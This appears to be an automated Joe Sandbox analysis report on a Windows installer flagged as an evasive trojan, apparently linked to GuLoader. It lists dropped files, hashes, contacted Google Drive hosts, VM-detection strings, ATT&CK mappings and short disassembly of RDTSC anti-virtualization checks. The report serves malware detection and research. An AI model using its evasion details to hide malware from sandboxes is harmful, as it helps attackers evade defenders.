Source: Yara match	File source: 00000000.00000002.2129477122.0000000005E69000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2654019996.00000000021A9000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

Code function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_10001A5D

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

Code function: 0_2_10002D20 push eax; ret

0_2_10002D4E

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

File created: C:\Users\user\AppData\Local\Temp\nsf3859.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	API/Special instruction interceptor: Address: 6049C35
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	API/Special instruction interceptor: Address: 2389C35

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	RDTSC instruction interceptor: First address: 5FE7B8C second address: 5FE7B8C instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FC77CCE5ECFh 0x00000006 cmp bl, cl 0x00000008 inc ebp 0x00000009 test edx, 2A835423h 0x0000000f inc ebx 0x00000010 test cx, ax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	RDTSC instruction interceptor: First address: 2327B8C second address: 2327B8C instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FC77CCA435Fh 0x00000006 cmp bl, cl 0x00000008 inc ebp 0x00000009 test edx, 2A835423h 0x0000000f inc ebx 0x00000010 test cx, ax 0x00000013 rdtsc

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsf3859.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Code function: 0_2_00405FFD FindFirstFileA,FindClose,	0_2_00405FFD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Code function: 0_2_0040559B GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_0040559B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Code function: 0_2_00402688 FindFirstFileA,	0_2_00402688

Source: Amcache.hve.7.dr	Binary or memory string: VMware
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.7.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.7.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.7.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.7.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.7.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000000.00000002.2119739518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000002.2656799268.00000000045EA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000002.2656799268.00000000045AC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.7.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.7.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.7.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.7.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000000.00000002.2119739518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.7.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.7.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.7.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.7.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.7.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.7.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.7.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.7.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.7.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.7.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.7.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.7.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	API call chain: ExitProcess graph end node			graph_0-4746
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	API call chain: ExitProcess graph end node			graph_0-4749

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

Code function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_10001A5D

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe"

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe

Code function: 0_2_00405D1B GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

0_2_00405D1B

Source: Amcache.hve.7.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	11 Masquerading	OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Access Token Manipulation	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	23 System Information Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	19%	ReversingLabs
SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	21%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsf3859.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsf3859.tmp\System.dll	1%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
drive.google.com	216.58.212.174	true	false		high
drive.usercontent.google.com	142.250.185.193	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd	SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000001.2118944491.00000000005F2000.00000008.00000001.01000000.00000009.sdmp	false	high
https://www.google.com	SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000003.2197156742.00000000045FD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000003.2197110224.00000000045FD000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.ftp.ftp://ftp.gopher.	SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000001.2118944491.0000000000649000.00000008.00000001.01000000.00000009.sdmp	false	high
https://drive.google.com/M	SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000002.2656799268.00000000045AC000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000002.2656928824.00000000045FD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000003.2231914588.00000000045FD000.00000004.00000020.00020000.00000000.sdmp	false	high
http://upx.sf.net	Amcache.hve.7.dr	false	high
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000001.2118944491.00000000005F2000.00000008.00000001.01000000.00000009.sdmp	false	high
http://nsis.sf.net/NSIS_Error	SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	false	high
https://apis.google.com	SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000003.2197156742.00000000045FD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000003.2197110224.00000000045FD000.00000004.00000020.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	false	high
https://drive.google.com/	SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000002.2656799268.00000000045AC000.00000004.00000020.00020000.00000000.sdmp	false	high
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe, 00000004.00000001.2118944491.0000000000649000.00000008.00000001.01000000.00000009.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
142.250.185.193	drive.usercontent.google.com	United States		15169	GOOGLEUS	false
216.58.212.174	drive.google.com	United States		15169	GOOGLEUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1617617
Start date and time:	2025-02-18 05:34:28 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe
Detection:	MAL
Classification:	mal76.troj.evad.winEXE@4/30@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 84% Number of executed functions: 57 Number of non-executed functions: 29
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.21, 20.109.210.53, 20.190.160.65, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	1638743478-734687553.8.exe	Get hash	malicious	Unknown	Browse	142.250.185.193 216.58.212.174
	rJustificante67.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	142.250.185.193 216.58.212.174
	rJustificante67.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.185.193 216.58.212.174
	SecuriteInfo.com.W32.PossibleThreat.6050.24821.exe	Get hash	malicious	Unknown	Browse	142.250.185.193 216.58.212.174
	SecuriteInfo.com.Win32.Trojan-Downloader.GuLoader.QAKJ8V.27372.733.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.185.193 216.58.212.174
	SecuriteInfo.com.W32.PossibleThreat.6050.24821.exe	Get hash	malicious	Unknown	Browse	142.250.185.193 216.58.212.174
	ZIOpctBE0o.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	142.250.185.193 216.58.212.174
	RFQ_SRC02252017-pdf.scr.exe	Get hash	malicious	GuLoader	Browse	142.250.185.193 216.58.212.174
	RFQ_SRC02252017-pdf.scr.exe	Get hash	malicious	GuLoader	Browse	142.250.185.193 216.58.212.174

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsf3859.tmp\System.dll	SecuriteInfo.com.Win32.Trojan-Downloader.GuLoader.QAKJ8V.27372.733.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	rquotation.exe	Get hash	malicious	Remcos, GuLoader	Browse
	z1QuotationSheetVSAA6656776.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	z1QuotationSheetVSAA6656776.exe	Get hash	malicious	GuLoader	Browse
	CdB3FZ9vyI.exe	Get hash	malicious	Unknown	Browse
	z65PurchaseOrderNo_0072024_pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	z65PurchaseOrderNo_0072024_pdf.exe	Get hash	malicious	GuLoader	Browse
	Nondesistance.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Nondesistance.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SecuriteInfo.com_dea5f4cbbede997debaeaf9f2b4a67da6214122_f62e02de_05a11137-1b3b-4537-bf1c-4d433fbef614\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0570386778203624
Encrypted:	false
SSDEEP:	384:dkEnyzr9mylJuEBU/efljTzuiFoY4IO8KG7:ddyzJmyiEBU/efljTzuiFoY4IO8KG
MD5:	4D7CEB8F161B1217CBCB76EAA4026627
SHA1:	4E8936E340631502F700AB624A7CDAD0839AF47E
SHA-256:	9C708479696365009A455C3A970869375621BD7A38C98B5F518345B288F8BF67
SHA-512:	62398AE05890E895AA34402F78E6ED19B09E92A6509263AF28F9D16AF9DBA604EB0D6CED181405F24BD84B69CEBD28138CF5E2BBA149D490D0AC881FC492245D
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.8.4.3.2.6.9.7.6.2.8.6.0.8.1.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.8.4.3.2.6.9.7.6.7.3.9.1.8.9.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.5.a.1.1.1.3.7.-.1.b.3.b.-.4.5.3.7.-.b.f.1.c.-.4.d.4.3.3.f.b.e.f.6.1.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.9.4.e.c.6.9.8.-.c.8.a.0.-.4.8.4.3.-.b.8.9.e.-.5.4.a.2.7.3.6.5.3.d.c.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...W.i.n.3.2...E.v.o.-.g.e.n...2.6.1.3.7...1.9.7.5.7...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.u.n.d.f.a.n.g.e.l.s.e.n. .r.e.s.u.r.c.e.a.n.v.e.n.d.e.l.s.e.r...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.2.4.-.0.0.0.1.-.0.0.1.4.-.f.5.3.b.-.8.d.9.e.b.e.8.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.0.e.3.e.b.5.2.3.d.c.5.b.4.8.c.f.7.3.f.1.f.b.5.b.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4B.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6484
Entropy (8bit):	3.7330119464190386
Encrypted:	false
SSDEEP:	192:R6l7wVeJQ4w6RbYcrmpr+89b6wsfTkMem:R6lXJQ36RbYcr06DfTk8
MD5:	87233B13E0708F40D435FA51CA8A0B03
SHA1:	2EF1D8AC77E616CA8B0BC39547D1472E753799BD
SHA-256:	1C8D95C2C2B5D1ED5C06BFB0310CE0E30DFD96C648D8F28DB756CA79B003A872
SHA-512:	88F128CF65A0D7AB848B072903959F7C37E16FCA110F24C706BBEE531C0E7695305255C05ABD8343A333DF319E6D44ADD65987F30AE29A9F5DA9EBBD44014F6E
Malicious:	false
Reputation:	low
